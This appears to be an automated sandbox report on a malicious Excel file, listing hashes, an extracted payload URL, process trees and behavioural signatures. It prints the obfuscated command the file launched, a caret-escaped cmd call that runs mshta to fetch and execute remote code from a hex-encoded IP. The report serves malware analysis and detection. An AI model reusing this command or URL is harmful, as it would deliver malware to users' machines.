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Analysis
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max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
11/11/2024, 21:42
Behavioral task
behavioral1
Sample
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
Resource
win10v2004-20241007-en
General
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Target
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
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Size
101KB
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MD5
ad38d630d30a724ffd07fecb6abc0729
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SHA1
839315e93e4a7d41db86ad65da2c59fbe0f256da
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SHA256
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578
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SHA512
7bb2f222d3a32a0c444f4921e09ff2f9e8e18c1b08c0578e98eb25aeb155f003392fa91ec6eeb00aafb5053055be59468cfbf143d5ad7a53b9ed530f276aeaa0
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2664 1476 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2736 mshta.exe 7 2736 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1476 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1476 EXCEL.EXE 1476 EXCEL.EXE 1476 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1476 wrote to memory of 2664 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2664 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2664 1476 EXCEL.EXE 30 PID 1476 wrote to memory of 2664 1476 EXCEL.EXE 30 PID 2664 wrote to memory of 2736 2664 cmd.exe 32 PID 2664 wrote to memory of 2736 2664 cmd.exe 32 PID 2664 wrote to memory of 2736 2664 cmd.exe 32 PID 2664 wrote to memory of 2736 2664 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2736
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